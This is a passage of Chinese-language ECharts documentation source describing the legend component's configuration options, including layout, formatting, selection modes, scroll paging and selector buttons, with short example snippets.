partial-component-id(prefix=\"#\")}}\n\n## show(boolean) = true\n\n<ExampleUIControlBoolean default=\"true\" />\n\n{{use: partial-rect-layout-width-height(componentName=\"图例\")}}\n\n## orient(string) = 'horizontal'\n\n<ExampleUIControlEnum options=\"vertical,horizontal\" default=\"horizontal\" />\n\n图例列表的布局朝向。\n\n可选:\n+ `'horizontal'`\n+ `'vertical'`\n\n## align(string) = 'auto'\n\n<ExampleUIControlEnum options=\"auto,left,right\" default=\"auto\" />\n\n图例标记和文本的对齐。默认自动,根据组件的位置和 orient 决定,当组件的 [left](~legend.left) 值为 `'right'` 以及纵向布局([orient](~legend.orient) 为 `'vertical'`)的时候为右对齐,即为 `'right'`。\n\n可选:\n+ `'auto'`\n+ `'left'`\n+ `'right'`\n\n## padding(number|Array) = 5\n\n<ExampleUIControlVector dims=\"T,R,B,L\" default=\"5\" min=\"0\" step=\"0.5\" />\n\n{{ use: partial-padding(componentName=\"图例\")}}\n\n## itemGap(number) = 10\n\n<ExampleUIControlNumber default=\"10\" min=\"0\" step=\"0.5\" />\n\n图例每项之间的间隔。横向布局时为水平间隔,纵向布局时为纵向间隔。\n\n## itemWidth(number) = 25\n\n<ExampleUIControlNumber default=\"25\" min=\"0\" step=\"0.5\" />\n\n图例标记的图形宽度。\n\n## itemHeight(number) = 14\n\n<ExampleUIControlNumber default=\"14\" min=\"0\" step=\"0.5\" />\n\n图例标记的图形高度。\n\n## symbolKeepAspect(boolean) = true\n\n<ExampleUIControlBoolean />\n\n如果图标(可能来自系列的 `symbol` 或用户自定义的 `legend.data.icon`)是 `path://` 的形式,是否在缩放时保持该图形的长宽比。\n\n## formatter(string|Function) = null\n\n用来格式化图例文本,支持字符串模板和回调函数两种形式。\n\n示例:\n```js\n// 使用字符串模板,模板变量为图例名称 {name}\nformatter: 'Legend {name}'\n// 使用回调函数\nformatter: function (name) {\n return 'Legend ' + name;\n}\n```\n\n## selectedMode(string|boolean) = true\n\n<ExampleUIControlBoolean options=\"true,false,single,multiple\" />\n\n图例选择的模式,控制是否可以通过点击图例改变系列的显示状态。默认开启图例选择,可以设成 `false` 关闭。\n\n除此之外也可以设成 `'single'` 或者 `'multiple'` 使用单选或者多选模式。\n\n## inactiveColor(Color) = '#ccc'\n\n<ExampleUIControlColor default=\"#ccc\" />\n\n图例关闭时的颜色。\n\n## selected(Object)\n\n图例选中状态表。\n\n示例:\n```\nselected: {\n // 选中'系列1'\n '系列1': true,\n // 不选中'系列2'\n '系列2': false\n}\n```\n\n## textStyle(Object)\n\n图例的公用文本样式。\n\n{{ use: partial-text-style(\n componentName='图例',\n prefix='##',\n defaultColor=\"#333\",\n noAlign=true,\n noVerticalAlign=true\n) }}\n\n## tooltip(Object)\n\n图例的 tooltip 配置,配置项同 [tooltip](~tooltip)。默认不显示,可以在 legend 文字很多的时候对文字做裁剪并且开启 tooltip,如下示例:\n\n```js\nlegend: {\n formatter: function (name) {\n return echarts.format.truncateText(name, 40, '14px Microsoft Yahei', '…');\n },\n tooltip: {\n show: true\n }\n}\n```\n\n## icon(string)\n\n<ExampleUIControlIcon />\n\n图例项的 icon。\n\n{{ use: partial-icon }}\n\n## data(Array)\n\n图例的数据数组。数组项通常为一个字符串,每一项代表一个系列的 `name`(如果是[饼图](~series-pie),也可以是饼图单个数据的 `name`)。图例组件会自动根据对应系列的图形标记(symbol)来绘制自己的颜色和标记,特殊字符串 `''`(空字符串)或者 `'\\n'`(换行字符串)用于图例的换行。\n\n如果 `data` 没有被指定,会自动从当前系列中获取。多数系列会取自 [series.name](~series.name) 或者 [series.encode](~series.encode) 的 `seriesName` 所指定的维度。如 [饼图](~series-pie) and [漏斗图](~series-funnel) 等会取自 series.data 中的 name。\n\n如果要设置单独一项的样式,也可以把该项写成配置项对象。此时必须使用 `name` 属性对应表示系列的 `name`。\n\n示例\n```\ndata: [{\n name: '系列1',\n // 强制设置图形为圆。\n icon: 'circle',\n // 设置文本为红色\n textStyle: {\n color: 'red'\n }\n}]\n```\n\n### name(string)\n图例项的名称,应等于某系列的`name`值(如果是饼图,也可以是饼图单个数据的 `name`)。\n\n### icon(string)\n\n图例项的 icon。\n\n{{ use: partial-icon }}\n\n### textStyle(Object)\n\n图例项的文本样式。\n\n{{ use: partial-component-common-style(\n componentName='图例',\n prefix='#',\n defaultBorderColor=\"'#ccc'\",\n hasBorderRadius=true\n) }}\n\n\n\n## scrollDataIndex(number) = 0\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例当前最左上显示项的 `dataIndex`。\n\n`setOption` 时指定此项的话,可决定当前图例滚动到哪里。\n\n但是,如果仅仅想改变图例翻页,一般并不调用 `setOption`(因为这太重量了),仅仅使用 action [legendScroll](api.html#action.legend.legendScroll) 即可。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageButtonItemGap(number) = 5\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例控制块中,按钮和页信息之间的间隔。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageButtonGap(number) = null\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例控制块和图例项之间的间隔。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageButtonPosition(string) = 'end'\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例控制块的位置。可选值为:\n\n+ `'start'`:控制块在左或上。\n+ `'end'`:控制块在右或下。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageFormatter(string|Function) = '{current}/{total}'\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例控制块中,页信息的显示格式。默认为 `'{current}/{total}'`,其中 `{current}` 是当前页号(从 1 开始计数),`{total}` 是总页数。\n\n如果 `pageFormatter` 使用函数,须返回字符串,参数为:\n```js\n{\n current: number\n total: number\n}\n```\n\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageIcons(Object)\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例控制块的图标。\n\n### horizontal(Array)\n\n[legend.orient](~legend.orient) 为 `'horizontal'` 时的翻页按钮图标。\n\n是一个数组,表示 `[previous page button, next page button]`。默认值为 `['M0,0L12,-10L12,10z', 'M0,0L-12,-10L-12,10z']`,。\n\n数组中每项,\n\n{{ use: partial-icon-image-path }}\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n### vertical(Array)\n\n[legend.orient](~legend.orient) 为 `'vertical'` 时的翻页按钮图标。\n\n是一个数组,表示 `[previous page button, next page button]`。默认值为 `['M0,0L20,0L10,-20z', 'M0,0L20,0L10,20z']`,。\n\n数组中每项,\n\n{{ use: partial-icon-image-path }}\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageIconColor(string) = '#2f4554'\n\n<ExampleUIControlColor default=\"#2f4554\" />\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n翻页按钮的颜色。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageIconInactiveColor(string) = '#aaa'\n\n<ExampleUIControlColor default=\"#aaa\" />\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n翻页按钮不激活时(即翻页到头时)的颜色。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageIconSize(number|Array) = 15\n\n<ExampleUIControlVector default=\"15,15\" dims=\"w,h\" />\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n翻页按钮的大小。可以是数字,也可以是数组,如 `[10, 3]`,表示 `[宽,高]`。\n\n参见 [滚动图例(垂直)](${galleryEditorPath}pie-legend&edit=1&reset=1) 或 [滚动图例(水平)](${galleryEditorPath}radar2&edit=1&reset=1)。\n\n## pageTextStyle(Object)\n\n[legend.type](~legend.type) 为 `'scroll'` 时有效。\n\n图例页信息的文字样式。\n\n{{ use: partial-simple-text-style(componentName='图例页信息', prefix='##', defaultColor=\"#333\") }}\n\n## animation(boolean)\n\n<ExampleUIControlBoolean default=\"true\" />\n\n图例翻页是否使用动画。\n\n## animationDurationUpdate(number) = 800\n\n<ExampleUIControlNumber min=\"0\" default=\"800\" step=\"20\" />\n\n图例翻页时的动画时长。\n\n\n## emphasis(Object)\n\n### selectorLabel(Object)\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n{{use:partial-label(\n prefix='###',\n defaultShowLabel=true,\n noPosition=true,\n formatter=false,\n formatter1d=false\n)}}\n\n\n## selector(boolean|Array) = false\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n图例组件中的选择器按钮,目前包括全选和反选两种功能。默认不显示,用户可手动开启,也可以手动配置每个按钮的标题。\n\n使用方式如下:\n\n```js\nselector: [\n {\n type: 'all or inverse',\n // 可以是任意你喜欢的 title\n title: '全选'\n },\n {\n type: 'inverse',\n title: '反选'\n }\n]\n\n// 或\nselector: true\n\n// 或\nselector: ['all', 'inverse']\n```\n\n## selectorLabel(Object)\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n选择器按钮的文本标签样式,默认显示。\n\n{{use:partial-label(\n prefix='##',\n defaultShowLabel=true,\n noPosition=true,\n formatter=false,\n formatter1d=false\n)}}\n\n## selectorPosition(string) = 'auto'\n\n<ExampleUIControlEnum options=\"auto,start,end\" />\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n选择器的位置,可以放在图例的尾部或者头部,对应的值分别为 `'end'` 和 `'start'`。默认情况下,图例横向布局的时候,选择器放在图例的尾部;图例纵向布局的时候,选择器放在图例的头部。\n\n## selectorItemGap(number) = 7\n\n<ExampleUIControlNumber min=\"0\" default=\"7\" step=\"0.5\" />\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n选择器按钮之间的间隔。\n\n## selectorButtonGap(number) = 10\n\n<ExampleUIControlNumber min=\"0\" default=\"10\" step=\"0.5\" />\n\n{{ use: partial-version(version = \"4.4.0\") }}\n\n选择器按钮与图例组件之间的间隔。\n"}